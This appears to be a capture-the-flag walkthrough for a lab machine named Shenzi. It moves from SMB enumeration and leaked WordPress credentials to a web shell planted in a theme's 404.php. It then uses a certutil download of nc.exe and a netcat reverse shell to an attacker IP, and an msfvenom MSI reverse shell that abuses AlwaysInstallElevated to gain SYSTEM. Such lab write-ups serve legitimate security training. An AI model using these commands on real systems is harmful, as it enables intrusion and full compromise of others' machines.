# Shenzi

## Information Gathering

`sudo ./nmapAutomator.sh 192.168.85.55 all`

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### Service Enumeration

### SMB (Port 445)

We can list what to see what Sharenames there are.

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We can then download all the files to see if there are anything useful.

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Passwords.txt contains many credentials which we can save for later.

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Notice that there are WordPress credentials. We can thus run `gobuster` on the webserver to see if there are any interesting directories.

### HTTP (Port 80)

It looks like a basic XAMPP server.

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We can run `gobuster`.

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There is a `phpmyadmin` directory but we can't really access it.

After more digging and clever brute-forcing, I tried `/Shenzi` directory and we get this page.

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Since we know this is a WordPress site, we can try the /wp-admin/ directory and we get this login page.

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From our earlier enumeration of SMB service, we know that the login credentials are `admin:FeltHeadwallWight357`. We try using these credentials, and we are authenticated.

## Exploit

Here, we can navigate to`Theme Editor` under the `Appearance` tab. In this tab, we are able to modify PHP code.

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We copy and paste the source code from here, <https://github.com/artyuum/Simple-PHP-Web-Shell/blob/master/index.php>, to the `404.php` file. This would allow us to have access to a web shell whenever we get a 404 error on this site, or if we navigate to `404.php`.&#x20;

Then, we navigate to `/404.php` or any other directory that doesn't exist, and we get our web shell.

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Next, let's transfer `nc.exe` to the target machine so that we can use it to gain a reverse shell.

`cmd.exe /c certutil -urlcache -split -f http://192.168.49.85:80/opt/windows_nc/nc.exe nc.exe`

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Next, let's get a reverse shell.

We use the following command in our PHP Web Shell:

`nc.exe -e cmd 192.168.49.85 443`

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## Privesc

Next, we can transfer winPEAS onto the target machine and run it.

From winPEAS, we notice these 2 registers are **enabled** (value is **0x1**). This means users of any privilege can **install** (execute) **`*.msi`** files as NT AUTHORITY\\**SYSTEM**.

Credits - <https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated>&#x20;

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Let's generate a `.msi` reverse shell file first.

`msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.85 LPORT=21 -f msi > ~/pg/shenzi/shell.msi`

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After transferring the file and running it, we get SYSTEM.

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